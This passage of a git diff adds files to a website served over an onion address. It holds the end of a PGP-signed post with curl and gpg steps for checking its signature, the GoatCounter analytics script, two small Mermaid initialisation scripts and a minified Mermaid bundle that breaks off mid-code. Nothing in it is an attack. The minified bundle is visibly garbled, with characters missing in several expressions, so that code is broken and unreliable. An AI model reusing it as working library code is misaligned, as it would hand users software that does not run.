    +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
    +=kuAP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc
    +gpg --verify hello-world.md.asc hello-world.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/js/count.js b/public-onion/js/count.js new file mode 100644 index 0000000..5bc80ab --- /dev/null +++ b/public-onion/js/count.js @@ -0,0 +1,267 @@ +// GoatCounter: https://www.goatcounter.com +// This file is released under the ISC license: https://opensource.org/licenses/ISC +;(function() { + 'use strict'; + + window.goatcounter = window.goatcounter || {} + + // Load settings from data-goatcounter-settings. + var s = document.querySelector('script[data-goatcounter]') + if (s && s.dataset.goatcounterSettings) { + try { var set = JSON.parse(s.dataset.goatcounterSettings) } + catch (err) { console.error('invalid JSON in data-goatcounter-settings: ' + err) } + for (var k in set) + if (['no_onload', 'no_events', 'allow_local', 'allow_frame', 'path', 'title', 'referrer', 'event'].indexOf(k) > -1) + window.goatcounter[k] = set[k] + } + + var enc = encodeURIComponent + + // Get all data we're going to send off to the counter endpoint. + window.goatcounter.get_data = function(vars) { + vars = vars || {} + var data = { + p: (vars.path === undefined ? goatcounter.path : vars.path), + r: (vars.referrer === undefined ? goatcounter.referrer : vars.referrer), + t: (vars.title === undefined ? goatcounter.title : vars.title), + e: !!(vars.event || goatcounter.event), + s: [window.screen.width, window.screen.height, (window.devicePixelRatio || 1)], + b: is_bot(), + q: location.search, + } + + var rcb, pcb, tcb // Save callbacks to apply later. + if (typeof(data.r) === 'function') rcb = data.r + if (typeof(data.t) === 'function') tcb = data.t + if (typeof(data.p) === 'function') pcb = data.p + + if (is_empty(data.r)) data.r = document.referrer + if (is_empty(data.t)) data.t = document.title + if (is_empty(data.p)) data.p = get_path() + + if (rcb) data.r = rcb(data.r) + if (tcb) data.t = tcb(data.t) + if (pcb) data.p = pcb(data.p) + return data + } + + // Check if a value is "empty" for the purpose of get_data(). + var is_empty = function(v) { return v === null || v === undefined || typeof(v) === 'function' } + + // See if this looks like a bot; there is some additional filtering on the + // backend, but these properties can't be fetched from there. + var is_bot = function() { + // Headless browsers are probably a bot. + var w = window, d = document + if (w.callPhantom || w._phantom || w.phantom) + return 150 + if (w.__nightmare) + return 151 + if (d.__selenium_unwrapped || d.__webdriver_evaluate || d.__driver_evaluate) + return 152 + if (navigator.webdriver) + return 153 + return 0 + } + + // Object to urlencoded string, starting with a ?. + var urlencode = function(obj) { + var p = [] + for (var k in obj) + if (obj[k] !== '' && obj[k] !== null && obj[k] !== undefined && obj[k] !== false) + p.push(enc(k) + '=' + enc(obj[k])) + return '?' + p.join('&') + } + + // Show a warning in the console. + var warn = function(msg) { + if (console && 'warn' in console) + console.warn('goatcounter: ' + msg) + } + + // Get the endpoint to send requests to. + var get_endpoint = function() { + var s = document.querySelector('script[data-goatcounter]') + return (s && s.dataset.goatcounter) ? s.dataset.goatcounter : goatcounter.endpoint + } + + // Get current path. + var get_path = function() { + var loc = location, + c = document.querySelector('link[rel="canonical"][href]') + if (c) { // May be relative or point to different domain. + var a = document.createElement('a') + a.href = c.href + if (a.hostname.replace(/^www\./, '') === location.hostname.replace(/^www\./, '')) + loc = a + } + return (loc.pathname + loc.search) || '/' + } + + // Run function after DOM is loaded. + var on_load = function(f) { + if (document.body === null) + document.addEventListener('DOMContentLoaded', function() { f() }, false) + else + f() + } + + // Filter some requests that we (probably) don't want to count. + window.goatcounter.filter = function() { + if ('visibilityState' in document && document.visibilityState === 'prerender') + return 'visibilityState' + if (!goatcounter.allow_frame && location !== parent.location) + return 'frame' + if (!goatcounter.allow_local && location.hostname.match(/(localhost$|^127\.|^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.|^0\.0\.0\.0$)/)) + return 'localhost' + if (!goatcounter.allow_local && location.protocol === 'file:') + return 'localfile' + if (localStorage && localStorage.getItem('skipgc') === 't') + return 'disabled with #toggle-goatcounter' + return false + } + + // Get URL to send to GoatCounter. + window.goatcounter.url = function(vars) { + var data = window.goatcounter.get_data(vars || {}) + if (data.p === null) // null from user callback. + return + data.rnd = Math.random().toString(36).substr(2, 5) // Browsers don't always listen to Cache-Control. + + var endpoint = get_endpoint() + if (!endpoint) + return warn('no endpoint found') + + return endpoint + urlencode(data) + } + + // Count a hit. + window.goatcounter.count = function(vars) { + var f = goatcounter.filter() + if (f) + return warn('not counting because of: ' + f) + var url = goatcounter.url(vars) + if (!url) + return warn('not counting because path callback returned null') + + if (!navigator.sendBeacon(url)) { + // This mostly fails due to being blocked by CSP; try again with an + // image-based fallback. + var img = document.createElement('img') + img.src = url + img.style.position = 'absolute' // Affect layout less. + img.style.bottom = '0px' + img.style.width = '1px' + img.style.height = '1px' + img.loading = 'eager' + img.setAttribute('alt', '') + img.setAttribute('aria-hidden', 'true') + + var rm = function() { if (img && img.parentNode) img.parentNode.removeChild(img) } + img.addEventListener('load', rm, false) + document.body.appendChild(img) + } + } + + // Get a query parameter. + window.goatcounter.get_query = function(name) { + var s = location.search.substr(1).split('&') + for (var i = 0; i < s.length; i++) + if (s[i].toLowerCase().indexOf(name.toLowerCase() + '=') === 0) + return s[i].substr(name.length + 1) + } + + // Track click events. + window.goatcounter.bind_events = function() { + if (!document.querySelectorAll) // Just in case someone uses an ancient browser. + return + + var send = function(elem) { + return function() { + goatcounter.count({ + event: true, + path: (elem.dataset.goatcounterClick || elem.name || elem.id || ''), + title: (elem.dataset.goatcounterTitle || elem.title || (elem.innerHTML || '').substr(0, 200) || ''), + referrer: (elem.dataset.goatcounterReferrer || elem.dataset.goatcounterReferral || ''), + }) + } + } + + Array.prototype.slice.call(document.querySelectorAll("*[data-goatcounter-click]")).forEach(function(elem) { + if (elem.dataset.goatcounterBound) + return + var f = send(elem) + elem.addEventListener('click', f, false) + elem.addEventListener('auxclick', f, false) // Middle click. + elem.dataset.goatcounterBound = 'true' + }) + } + + // Add a "visitor counter" frame or image. + window.goatcounter.visit_count = function(opt) { + on_load(function() { + opt = opt || {} + opt.type = opt.type || 'html' + opt.append = opt.append || 'body' + opt.path = opt.path || get_path() + opt.attr = opt.attr || {width: '200', height: (opt.no_branding ? '60' : '80')} + + opt.attr['src'] = get_endpoint() + 'er/' + enc(opt.path) + '.' + enc(opt.type) + '?' + if (opt.no_branding) opt.attr['src'] += '&no_branding=1' + if (opt.style) opt.attr['src'] += '&style=' + enc(opt.style) + if (opt.start) opt.attr['src'] += '&start=' + enc(opt.start) + if (opt.end) opt.attr['src'] += '&end=' + enc(opt.end) + + var tag = {png: 'img', svg: 'img', html: 'iframe'}[opt.type] + if (!tag) + return warn('visit_count: unknown type: ' + opt.type) + + if (opt.type === 'html') { + opt.attr['frameborder'] = '0' + opt.attr['scrolling'] = 'no' + } + + var d = document.createElement(tag) + for (var k in opt.attr) + d.setAttribute(k, opt.attr[k]) + + var p = document.querySelector(opt.append) + if (!p) + return warn('visit_count: element to append to not found: ' + opt.append) + p.appendChild(d) + }) + } + + // Make it easy to skip your own views. + if (location.hash === '#toggle-goatcounter') { + if (localStorage.getItem('skipgc') === 't') { + localStorage.removeItem('skipgc', 't') + alert('GoatCounter tracking is now ENABLED in this browser.') + } + else { + localStorage.setItem('skipgc', 't') + alert('GoatCounter tracking is now DISABLED in this browser until ' + location + ' is loaded again.') + } + } + + if (!goatcounter.no_onload) + on_load(function() { + // 1. Page is visible, count request. + // 2. Page is not yet visible; wait until it switches to 'visible' and count. + // See #487 + if (!('visibilityState' in document) || document.visibilityState === 'visible') + goatcounter.count() + else { + var f = function(e) { + if (document.visibilityState !== 'visible') + return + document.removeEventListener('visibilitychange', f) + goatcounter.count() + } + document.addEventListener('visibilitychange', f) + } + + if (!goatcounter.no_events) + goatcounter.bind_events() + }) +})(); diff --git a/public-onion/js/init-mermaid-umd.js b/public-onion/js/init-mermaid-umd.js new file mode 100644 index 0000000..6f66698 --- /dev/null +++ b/public-onion/js/init-mermaid-umd.js @@ -0,0 +1,21 @@ +(function () { + function render() { + const nodes = document.querySelectorAll('.mermaid'); + console.log('[mermaid] nodes on page:', nodes.length); + + if (!window.mermaid) { + console.error('[mermaid] window.mermaid is missing'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); + console.log('[mermaid] run() called'); + } + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', render, { once: true }); + } else { + render(); + } +})(); + diff --git a/public-onion/js/init-mermaid.js b/public-onion/js/init-mermaid.js new file mode 100644 index 0000000..5ae4c1c --- /dev/null +++ b/public-onion/js/init-mermaid.js @@ -0,0 +1,17 @@ + +// Uses global window.mermaid provided by mermaid.min.js +function renderMermaid() { + if (!window.mermaid) { + console.error('Mermaid not found on window'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); +} + +if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', renderMermaid, { once: true }); +} else { + renderMermaid(); +} + diff --git a/public-onion/js/mermaid.esm.min.mjs b/public-onion/js/mermaid.esm.min.mjs new file mode 100644 index 0000000..5a8024b --- /dev/null +++ b/public-onion/js/mermaid.esm.min.mjs @@ -0,0 +1,14 @@ +import{a as ht}from"./chunks/mermaid.esm.min/chunk-4HFYJGYH.mjs";import{a as Yt}from"./chunks/mermaid.esm.min/chunk-ASAHGCDZ.mjs";import{a as Ut,b as qt}from"./chunks/mermaid.esm.min/chunk-F3RBCZRS.mjs";import{a as Bt}from"./chunks/mermaid.esm.min/chunk-W6CKT3PL.mjs";import"./chunks/mermaid.esm.min/chunk-TVVDRG3C.mjs";import"./chunks/mermaid.esm.min/chunk-RV6DXAHM.mjs";import"./chunks/mermaid.esm.min/chunk-EQI6KKA3.mjs";import"./chunks/mermaid.esm.min/chunk-LM6QDVU5.mjs";import"./chunks/mermaid.esm.min/chunk-5V7UUW6L.mjs";import{b as Ot,d as Pt}from"./chunks/mermaid.esm.min/chunk-GOL2OBWC.mjs";import{b as Vt,j as yt,l as $t,m as V,n as Nt,o as Ht}from"./chunks/mermaid.esm.min/chunk-EFRVIJHI.mjs";import"./chunks/mermaid.esm.min/chunk-THXVA4DE.mjs";import{$ as z,E as Ft,G as It,H as X,I as rt,J as W,K as _t,L as Gt,N as zt,a as St,aa as K,h as tt,k as ut,l as Mt,m as At,n as Tt,o as Dt,p as Ct,q as G,r as Rt,s as Y,u as kt,y as jt}from"./chunks/mermaid.esm.min/chunk-KXVH62NG.mjs";import{b as g,c as lt,h as k}from"./chunks/mermaid.esm.min/chunk-63GW7ZVL.mjs";import{d as xt}from"./chunks/mermaid.esm.min/chunk-IQQE2MEC.mjs";import"./chunks/mermaid.esm.min/chunk-A4ITRWGT.mjs";import{a as r}from"./chunks/mermaid.esm.min/chunk-GTKDMUJJ.mjs";var Pe=r(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),Fe=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/c4Diagram-Q5SP5FFD.mjs");return{id:"c4",diagram:t}},"loader"),Ie={id:"c4",detector:Pe,loader:Fe},Xt=Ie;var Wt="flowchart",_e=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),Ge=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Wt,diagram:t}},"loader"),ze={id:Wt,detector:_e,loader:Ge},Kt=ze;var Qt="flowchart-v2",Ve=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),$e=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Qt,diagram:t}},"loader"),Ne={id:Qt,detector:Ve,loader:$e},Jt=Ne;var He=r(t=>/^\s*erDiagram/.test(t),"detector"),Ue=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/erDiagram-MBDK6S7D.mjs");return{id:"er",diagram:t}},"loader"),qe={id:"er",detector:He,loader:Ue},Zt=qe;var tr="gitGraph",Be=r(t=>/^\s*gitGraph/.test(t),"detector"),Ye=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/gitGraphDiagram-JCGM6PWI.mjs");return{id:tr,diagram:t}},"loader"),Xe={id:tr,detector:Be,loader:Ye},rr=Xe;var er="gantt",We=r(t=>/^\s*gantt/.test(t),"detector"),Ke=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/ganttDiagram-SAESIEWH.mjs");return{id:er,diagram:t}},"loader"),Qe={id:er,detector:We,loader:Ke},ar=Qe;var ir="info",Je=r(t=>/^\s*info/.test(t),"detector"),Ze=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/infoDiagram-GKI3LBYJ.mjs");return{id:ir,diagram:t}},"loader"),or={id:ir,detector:Je,loader:Ze};var ta=r(t=>/^\s*pie/.test(t),"detector"),ra=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/pieDiagram-QB62DFGK.mjs");return{id:"pie",diagram:t}},"loader"),nr={id:"pie",detector:ta,loader:ra};var sr="quadrantChart",ea=r(t=>/^\s*quadrantChart/.test(t),"detector"),aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/quadrantDiagram-AGVETKZM.mjs");return{id:sr,diagram:t}},"loader"),ia={id:sr,detector:ea,loader:aa},cr=ia;var mr="xychart",oa=r(t=>/^\s*xychart(-beta)?/.test(t),"detector"),na=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/xychartDiagram-6J6QOAP6.mjs");return{id:mr,diagram:t}},"loader"),sa={id:mr,detector:oa,loader:na},pr=sa;var dr="requirement",ca=r(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),ma=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/requirementDiagram-BJFPASL3.mjs");return{id:dr,diagram:t}},"loader"),pa={id:dr,detector:ca,loader:ma},fr=pa;var gr="sequence",da=r(t=>/^\s*sequenceDiagram/.test(t),"detector"),fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sequenceDiagram-W4XLKSBU.mjs");return{id:gr,diagram:t}},"loader"),ga={id:gr,detector:da,loader:fa},lr=ga;var ur="class",la=r((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-FKO7XAE5.mjs");return{id:ur,diagram:t}},"loader"),Da={id:ur,detector:la,loader:ua},Dr=Da;var yr="classDiagram",ya=r((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),xa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-v2-XZHHGUJO.mjs");return{id:yr,diagram:t}},"loader"),ha={id:yr,detector:ya,loader:xa},xr=ha;var hr="state",Ea=r((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-ZFDIVMDF.mjs");return{id:hr,diagram:t}},"loader"),La={id:hr,detector:Ea,loader:wa},Er=La;var wr="stateDiagram",ba=r((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),va=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-v2-GQU47BET.mjs");return{id:wr,diagram:t}},"loader"),Sa={id:wr,detector:ba,loader:va},Lr=Sa;var br="journey",Ma=r(t=>/^\s*journey/.test(t),"detector"),Aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/journeyDiagram-E42M6OD5.mjs");return{id:br,diagram:t}},"loader"),Ta={id:br,detector:Ma,loader:Aa},vr=Ta;var Ca=r((t,e,a)=>{g.debug(`rendering svg for syntax error +`);let i=Yt(e),o=i.append("g");i.attr("viewBox","0 0 2412 512"),Gt(i,100,512,!0),o.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),o.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),o.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),o.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),o.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),o.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),o.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in text"),o.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${a}`)},"draw"),Et={draw:Ca},Sr=Et;var Ra={db:{},renderer:Et,parser:{parse:r(()=>{},"parse")}},Mr=Ra;var Ar="flowchart-elk",ka=r((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ja=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Ar,diagram:t}},"loader"),Oa={id:Ar,detector:ka,loader:ja},Tr=Oa;var Cr="timeline",Pa=r(t=>/^\s*timeline/.test(t),"detector"),Fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/timeline-definition-DZOEFOHF.mjs");return{id:Cr,diagram:t}},"loader"),Ia={id:Cr,detector:Pa,loader:Fa},Rr=Ia;var kr="mindmap",_a=r(t=>/^\s*mindmap/.test(t),"detector"),Ga=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/mindmap-definition-ZYHNXUZP.mjs");return{id:kr,diagram:t}},"loader"),za={id:kr,detector:_a,loader:Ga},jr=za;var Or="kanban",Va=r(t=>/^\s*kanban/.test(t),"detector"),$a=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/kanban-definition-D5DEDDHO.mjs");return{id:Or,diagram:t}},"loader"),Na={id:Or,detector:Va,loader:$a},Pr=Na;var Fr="sankey",Ha=r(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sankeyDiagram-XSL23WO4.mjs");return{id:Fr,diagram:t}},"loader"),qa={id:Fr,detector:Ha,loader:Ua},Ir=qa;var _r="packet",Ba=r(t=>/^\s*packet(-beta)?/.test(t),"detector"),Ya=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-BZV4OSZQ.mjs");return{id:_r,diagram:t}},"loader"),Gr={id:_r,detector:Ba,loader:Ya};var zr="radar",Xa=r(t=>/^\s*radar-beta/.test(t),"detector"),Wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-DKYQLJNW.mjs");return{id:zr,diagram:t}},"loader"),Vr={id:zr,detector:Xa,loader:Wa};var $r="block",Ka=r(t=>/^\s*block(-beta)?/.test(t),"detector"),Qa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/blockDiagram-BWRZOBD3.mjs");return{id:$r,diagram:t}},"loader"),Ja={id:$r,detector:Ka,loader:Qa},Nr=Ja;var Hr="architecture",Za=r(t=>/^\s*architecture/.test(t),"detector"),ti=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/architectureDiagram-4X3Z3J56.mjs");return{id:Hr,diagram:t}},"loader"),ri={id:Hr,detector:Za,loader:ti},Ur=ri;var qr="treemap",ei=r(t=>/^\s*treemap/.test(t),"detector"),ai=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-LL6QPXA2.mjs");return{id:qr,diagram:t}},"loader"),Br={id:qr,detector:ei,loader:ai};var Yr=!1,$=r(()=>{Yr||(Yr=!0,z("error",Mr,t=>t.toLowerCase().trim()==="error"),z("---",{db:{clear:r(()=>{},"clear")},styles:{},renderer:{draw:r(()=>{},"draw")},parser:{parse:r(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:r(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),W(Tr,jr,Ur),W(Xt,Pr,xr,Dr,Zt,ar,or,nr,fr,lr,Jt,Kt,Rr,rr,Lr,Er,vr,cr,Ir,Gr,pr,Nr,Vr,Br))},"addDiagrams");var Xr=r(async()=>{g.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(X).map(async([a,{detector:i,loader:o}])=>{if(o)try{K(a)}catch{try{let{diagram:n,id:m}=await o();z(m,n,i)}catch(n){throw g.error(`Failed to load external diagram with key ${a}. Removing from detectors.`),delete X[a],n}}}))).filter(a=>a.status==="rejected");if(e.length>0){g.error(`Failed to load ${e.length} external diagrams`);for(let a of e)g.error(a);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");var et="comm",at="rule",it="decl";var Wr="@import";var Kr="@namespace",Qr="@keyframes";var Jr="@layer";var wt=Math.abs,Q=String.fromCharCode;function ot(t){return t.trim()}r(ot,"trim");function J(t,e,a){return t.replace(e,a)}r(J,"replace");function Zr(t,e,a){return t.indexOf(e,a)}r(Zr,"indexof");function P(t,e){return t.charCodeAt(e)|0}r(P,"charat");function F(t,e,a){return t.slice(e,a)}r(F,"substr");function h(t){return t.length}r(h,"strlen");function te(t){return t.length}r(te,"sizeof");function N(t,e){return e.push(t),t}r(N,"append");var nt=1,H=1,re=0,w=0,D=0,q="";function st(t,e,a,i,o,n,m,s){return{value:t,root:e,parent:a,type:i,props:o,children:n,line:nt,column:H,length:m,return:"",siblings:s}}r(st,"node");function ee(){return D}r(ee,"char");function ae(){return D=w>0?P(q,--w):0,H--,D===10&&(H=1,nt--),D}r(ae,"prev");function L(){return D=w2||U(D)>3?"":" "}r(ne,"whitespace");function se(t,e){for(;--e&&L()&&!(D<48||D>102||D>57&&D<65||D>70&&D<97););return ct(t,Z()+(e<6&&j()==32&&L()==32))}r(se,"escaping");function Lt(t){for(;L();)switch(D){case t:return w;case 34:case 39:t!==34&&t!==39&&Lt(D);break;case 40:t===41&&Lt(t);break;case 92:L();break}return w}r(Lt,"delimiter");function ce(t,e){for(;L()&&t+D!==57;)if(t+D===84&&j()===47)break;return"/*"+ct(e,w-1)+"*"+Q(t===47?t:L())}r(ce,"commenter");function me(t){for(;!U(j());)L();return ct(t,w)}r(me,"identifier");function fe(t){return oe(pt("",null,null,null,[""],t=ie(t),0,[0],t))}r(fe,"compile");function pt(t,e,a,i,o,n,m,s,c){for(var l=0,y=0,p=m,x=0,A=0,b=0,f=1,C=1,v=1,u=0,S="",R=o,T=n,E=i,d=S;C;)switch(b=u,u=L()){case 40:if(b!=108&&P(d,p-1)==58){Zr(d+=J(mt(u),"&","&\f"),"&\f",wt(l?s[l-1]:0))!=-1&&(v=-1);break}case 34:case 39:case 91:d+=mt(u);break;case 9:case 10:case 13:case 32:d+=ne(b);break;case 92:d+=se(Z()-1,7);continue;case 47:switch(j()){case 42:case 47:N(ii(ce(L(),Z()),e,a,c),c),(U(b||1)==5||U(j()||1)==5)&&h(d)&&F(d,-1,void 0)!==" "&&(d+=" ");break;default:d+="/"}break;case 123*f:s[l++]=h(d)*v;case 125*f:case 59:case 0:switch(u){case 0:case 125:C=0;case 59+y:v==-1&&(d=J(d,/\f/g,"")),A>0&&(h(d)-p||f===0&&b===47)&&N(A>32?de(d+";",i,a,p-1,c):de(J(d," ","")+";",i,a,p-2,c),c);break;case 59:d+=";";default:if(N(E=pe(d,e,a,l,y,o,s,S,R=[],T=[],p,n),n),u===123)if(y===0)pt(d,e,E,E,R,n,p,s,T);else{switch(x){case 99:if(P(d,3)===110)break;case 108:if(P(d,2)===97)break;default:y=0;case 100:case 109:case 115:}y?pt(t,E,E,i&&N(pe(t,E,E,0,0,o,s,S,o,R=[],p,T),T),o,T,p,s,i?R:T):pt(d,E,E,E,[""],T,0,s,T)}}l=y=A=0,f=v=1,S=d="",p=m;break;case 58:p=1+h(d),A=b;default:if(f<1){if(u==123)--f;else if(u==125&&f++==0&&ae()==125)continue}switch(d+=Q(u),u*f){case 38:v=y>0?1:(d+="\f",-1);break;case 44:s[l++]=(h(d)-1)*v,v=1;break;case 64:j()===45&&(d+=mt(L())),x=j(),y=p=h(S=d+=me(Z())),u++;break;case 45:b===45&&h(d)==2&&(f=0)}}return n}r(pt,"parse");function pe(t,e,a,i,o,n,m,s,c,l,y,p){for(var x=o-1,A=o===0?n:[""],b=te(A),f=0,C=0,v=0;f0?A[u]+" "+S:J(S,/&\f/g,A[u])))&&(c[v++]=R);return st(t,e,a,o===0?at:s,c,l,y,p)}r(pe,"ruleset");function ii(t,e,a,i){return st(t,e,a,et,Q(ee()),F(t,2,-2),0,i)}r(ii,"comment");function de(t,e,a,i,o){return st(t,e,a,it,F(t,0,i),F(t,i+1,-1),i,o)}r(de,"declaration");function dt(t,e){for(var a="",i=0;i{De.forEach(t=>{t()}),De=[]},"attachFunctions");var xe=r(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");function he(t){let e=t.match(Ft);if(!e)return{text:t,metadata:{}};let a=qt(e[1],{schema:Ut})??{};a=typeof a=="object"&&!Array.isArray(a)?a:{};let i={};return a.displayMode&&(i.displayMode=a.displayMode.toString()),a.title&&(i.title=a.title.toString()),a.config&&(i.config=a.config),{text:t.slice(e[0].length),metadata:i}}r(he,"extractFrontMatter");var si=r(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,a,i)=>"<"+a+i.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),ci=r(t=>{let{text:e,metadata:a}=he(t),{displayMode:i,title:o,config:n={}}=a;return i&&(n.gantt||(n.gantt={}),n.gantt.displayMode=i),{title:o,config:n,text:e}},"processFrontmatter"),mi=r(t=>{let e=V.detectInit(t)??{},a=V.detectDirective(t,"wrap");return Array.isArray(a)?e.wrap=a.some(({type:i})=>i==="wrap"):a?.type==="wrap"&&(e.wrap=!0),{text:Vt(t),directive:e}},"processDirectives");function bt(t){let e=si(t),a=ci(e),i=mi(a.text),o=$t(a.config,i.directive);return t=xe(i.text),{code:t,title:a.title,config:o}}r(bt,"preprocessDiagram");function Ee(t){let e=new TextEncoder().encode(t),a=Array.from(e,i=>String.fromCodePoint(i)).join("");return btoa(a)}r(Ee,"toBase64");var pi=5e4,di="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",fi="sandbox",gi="loose",li="http://www.w3.org/2000/svg",ui="http://www.w3.org/1999/xlink",Di="http://www.w3.org/1999/xhtml",yi="100%",xi="100%",hi="border:0;margin:0;",Ei="margin:0",wi="allow-top-navigation-by-user-activation allow-popups",Li='The "iframe" tag is not supported by your browser.',bi=["foreignobject"],vi=["dominant-baseline"];function ve(t){let e=bt(t);return Y(),Rt(e.config??{}),e}r(ve,"processAndSetConfigs");async function Si(t,e){$();try{let{code:a,config:i}=ve(t);return{diagramType:(await Se(a)).type,config:i}}catch(a){if(e?.suppressErrors)return!1;throw a}}r(Si,"parse");var we=r((t,e,a=[])=>` +.${t} ${e} { ${a.join(" !important; ")} !important; }`,"cssImportantStyles"),Mi=r((t,e=new Map)=>{let a="";if(t.themeCSS!==void 0&&(a+=` 